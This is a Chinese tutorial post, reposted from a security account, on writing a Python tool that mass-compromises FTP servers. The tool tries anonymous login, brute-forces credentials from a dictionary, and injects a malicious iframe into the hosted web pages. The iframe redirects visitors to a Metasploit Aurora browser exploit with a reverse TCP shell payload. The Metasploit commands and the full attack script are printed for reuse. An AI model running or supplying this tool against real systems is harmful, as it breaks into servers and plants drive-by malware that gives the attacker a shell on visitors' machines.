专栏首页安恒网络空间安全讲武堂Python编写渗透工具学习笔记二 | 0x02利用FTP与web批量抓肉鸡

Python编写渗透工具学习笔记二 | 0x02利用FTP与web批量抓肉鸡

0x02利用FTP与web批量抓肉鸡

脚本要实现的目标和思路:

先尝试匿名登录ftp,当匿名登录失败时再尝试用用户/密码爆破登录,登录成功后,脚本会搜索ftp中存在的页面,然后下载每个被找到的页面,并向其中注入恶意重定向代码,最后脚本会将被挂马的页面传回ftp服务器,这样任何存在该漏洞的电脑访问服务器的这个页面都会被黑掉。

如果这个ftp服务器还提供web服务的话,那么任何存在该漏洞的电脑访问这个web页面都会被黑掉。

环境:

  • Myftp允许匿名登录
  • ftp2不允许匿名登录
  • 登录用户 ftpuser
  • 密码 541766184

基础知识:

1

构建匿名ftp扫描器

实现思路:

  • ftp = ftplib.FTP(hostname)#创建FTP对象
  • ftp.login('anonymous', 'me@your.com')#登录ftp

annoLogin函数接收的参数是一个主机名并返回一个布尔值来描述该主机可不可以匿名登录ftp:该函数尝试建立一个匿名ftp连接,如果成功则返回true。如果出现异常就返回false

2

爆破ftp用户口令

  • 本次实验搭建的ftp
  • 登录用户 ftpuser
  • 密码 541766184

实现思路:

  • ftp = ftplib.FTP(ip)
  • ftp.login(user,pwd)

先创建好一个ftp用户名和密码的字典文件,格式是按照 用户名:密码,这样的格式,一行一个。然后写程序的时候逐行读取文件,并且利用冒号 : 来分割出用户名和密码,然后分别进行登录尝试。登录成功就返回用户名和密码的元祖,登录不成功就捕捉异常,防止程序提前退出,如果爆破失败就返回none元组。

3

在ftp服务器中搜索页面

实现思路:

测试ftp服务器是否提供web服务--检测是否有web页面文件即可

returnDefault函数输入的参数是一个ftp连接,返回一个它找到的页面的数组。利用nlst方法列出目录中的文件,然后我们通过一个if语句判断这个是不是web页面文件。具体代码如下。

找到了一个 index.html文件

4

在网页中加入恶意代码

实现思路:主要分两步,

  1. 构造好恶意页面
  2. 在被黑的页面中插入iframe使其重定向到攻击者的恶意页面中。

1.构造好恶意页面

这里我使用metasploit来构造恶意页面,这里选用ms10_002_aurora,这个漏洞利用代码和当年在“极光行动”中用来对付谷歌的利用代码极为类似.

http://10.10.10.128:8080/exploit上的页面会利用被重定向到它这里的浏览器中的漏洞,使之向我们提供一个反弹shell,令我们可以通过这个反弹shell来控制这台肉鸡

在msf中执行以下命令即可生成

use exploit/windows/browser/ms10_002_aurora
set payload windows/shell/reverse_tcp
set SRVHOST 10.10.10.128
set URIPATH /exploit
set LHOST 10.10.10.128
set LPORT 443
exploit

在这里我使用了10.10.10.1上的三个浏览器去访问这个页面都没有得到反弹shell,有可能是我这里的三个浏览器都不存在这个漏洞。

后来又换了一台虚拟机测试就可以了,效果图如下

在winxp上访问有写有恶意代码的链接

在攻击机上看到了显示有一个会话开启了

我们打开这个会话,可以看到我们确实是得到了一个shell

命令执行成功,多了一个hack目录

2.在被黑的页面中插入iframe使其重定向到攻击者的恶意页面中。

实现思路:给injectPage函数输入一个ftp连接,网页名和用于重定向的iframe字串

然后下载该网页的临时副本,接着它把重定向到我们而已服务器上的这个iframe添加到这个临时文件中。最后函数将被干扰的页面回传到被黑的ftp服务器上

我们查看一下我们

可以看到页面中确实被插入了我们的iframe网马

5

一整份完整的攻击代码

其中attack函数的输入参数是用户名、密码、主机ip和重定向的位置,该函数先用用户名和密码登录ftp服务器,然后脚本会搜索页面,脚本会下载每个被找到的页面,并向其中加入恶意重定向代码,最后脚本会将被挂马的页面传回ftp服务器,这样任何存在该漏洞的电脑访问web服务器都会被黑掉。

脚本会先尝试匿名登录,当匿名登录失败时才尝试用户密码登录。

执行演示一下

python 2massCompromise.py -H 10.10.10.1 -r http://10.10.10.128:8080/exploit -f userpass.txt

查看页面源码可以知道是注入成功了的。

然后我们用一台winxp模仿普通网民去访问这个页面

先登录进入这个ftp,然后访问这个index.html页面

攻击机kali这边也确实得到了winxp的一个shell,并且这里我执行了一下net user命令,说明这个shell确实是有用的。

6

工具完整代码

#!/usr/bin/python
# -*- coding: utf-8 -*-
import ftplib
import optparse
import time
#匿名登录扫描
def anonLogin(hostname):
    try:
        ftp = ftplib.FTP(hostname)
        ftp.login('anonymous', 'me@your.com')
        print '\n[*] ' + str(hostname) \
            + ' FTP Anonymous Logon Succeeded.'
        ftp.quit()
        return True
    except Exception, e:
        print '\n[-] ' + str(hostname) +\
          ' FTP Anonymous Logon Failed.'
        return False
#爆破ftp用户名和密码
def bruteLogin(hostname, passwdFile):
    pF = open(passwdFile, 'r')
    for line in pF.readlines():
        time.sleep(1)
        userName = line.split(':')[0]
        passWord = line.split(':')[1].strip('\r').strip('\n')
        print '[+] Trying: ' + userName + '/' + passWord
        try:
            ftp = ftplib.FTP(hostname)
            ftp.login(userName, passWord)
            print '\n[*] ' + str(hostname) +\
              ' FTP Logon Succeeded: '+userName+'/'+passWord
            ftp.quit()
            return (userName, passWord)
        except Exception, e:
            pass
    print '\n[-] Could not brute force FTP credentials.'
    return (None, None)
#返回ftp服务器中的页面数组
def returnDefault(ftp):
    try:
        dirList = ftp.nlst()
    except:
        dirList = []
        print '[-] Could not list directory contents.'
        print '[-] Skipping To Next Target.'
        return
    retList = []
    for fileName in dirList:
        fn = fileName.lower()
        if '.php' in fn or '.htm' in fn or '.asp' in fn:
            print '[+] Found default page: ' + fileName
            retList.append(fileName)
    return retList
#注入恶意代码
def injectPage(ftp, page, redirect):
    f = open(page + '.tmp', 'w')
    ftp.retrlines('RETR ' + page, f.write)
    print '[+] Downloaded Page: ' + page
    f.write(redirect)
    f.close()
    print '[+] Injected Malicious IFrame on: ' + page
    ftp.storlines('STOR ' + page, open(page + '.tmp'))
    print '[+] Uploaded Injected Page: ' + page
#统领整个攻击过程
def attack(username,password,tgtHost,redirect):
    ftp = ftplib.FTP(tgtHost)
    ftp.login(username, password)
    defPages = returnDefault(ftp)
    for defPage in defPages:
        injectPage(ftp, defPage, redirect)
#入口main函数
def main():
    parser = optparse.OptionParser('usage %prog '+\
      '-H <target host[s]> -r <redirect page>'+\
      '[-f <userpass file>]')
    parser.add_option('-H', dest='tgtHosts',\
      type='string', help='specify target host')
    parser.add_option('-f', dest='passwdFile',\
      type='string', help='specify user/password file')
    parser.add_option('-r', dest='redirect',\
      type='string',help='specify a redirection page')
    (options, args) = parser.parse_args()
    tgtHosts = str(options.tgtHosts).split(',')
    passwdFile = options.passwdFile
    redirect = options.redirect
    #windows的cmd下不允许在命令中包含字符<
    #所以这里就直接输入重定向的页面地址然后再进行拼接
    redirect='<iframe src="'+redirect+'"></iframe>'
    print redirect
    if tgtHosts == None or redirect == None:
        print parser.usage
        exit(0)
    for tgtHost in tgtHosts:
        username = None
        password = None
        if anonLogin(tgtHost) == True:
            username = 'anonymous'
            password = 'me@your.com'
            print '[+] Using Anonymous Creds to attack'
            attack(username, password, tgtHost, redirect)
        elif passwdFile != None:
            (username, password) =\
              bruteLogin(tgtHost, passwdFile)
            if password != None:
                '[+] Using Creds: ' +\
                  username + '/' + password + ' to attack'
                attack(username, password, tgtHost, redirect)
if __name__ == '__main__':
    main()

本文分享自微信公众号 - 安恒网络空间安全讲武堂(gh_fa1e45032807),作者:jaivy

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2017-12-08

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • CVE-2018-14421 Seacms 后台getshell分析

    最近看到关注的博客里面,有一篇师傅拿cve的文章,是有关于海洋cms的后台getshell,只给出了exp,但是并没有详细的分析流程,好奇心的驱使下,开始了对这...

    安恒网络空间安全讲武堂
  • hackme.inndy.tw的19道web题解(下)

    目录 写在前面 ...... dafuq-manager 1 dafuq-manager 2. dafuq-manager 3. wordpress 1. w...

    安恒网络空间安全讲武堂
  • python使用pexpect实现ftp的操作

    安恒网络空间安全讲武堂
  • python应用系列教程——python

    ftp=FTP() #设置变量 ftp.set_debuglevel(2) #打开调试级别2,显示详细信息 ftp.connect(“IP”,”port...

    py3study
  • 利用python实现ftp的文件读写

    py3study
  • 004.FTP匿名用户访问

    提示:由于主目录权限中其他人(ftp用户对此目录所属用户和所属组而言是其他人)不具有可读,因此无法上传文件。

    木二
  • python搭建FTP服务器之FTP上传和下载

    Python中默认安装的ftplib模块定义了FTP类,其中函数有限,可用来实现简单的ftp客户端,用于上传或下载文件,函数列举如下

    周小董
  • python定时下载FTP指定文件

    公司正好有个需求,定期从远端ftp下载指定昨天的数据,写了2个函数,一个是连接远端ftp,另一个是定期下载远端数据,用到了ftplib、datetime和正则r...

    py3study
  • python ftplib模块

    Python中默认安装的ftplib模块定义了FTP类,其中函数有限,可用来实现简单的ftp客户端,用于上传或下载文件

    py3study
  • 网络基础 Windows控制台下Ftp使用简介

    C:\Users\laifuyu>ftp /*从本地主机172.75.25.2上运行ftp*/

    授客

扫码关注云+社区

领取腾讯云代金券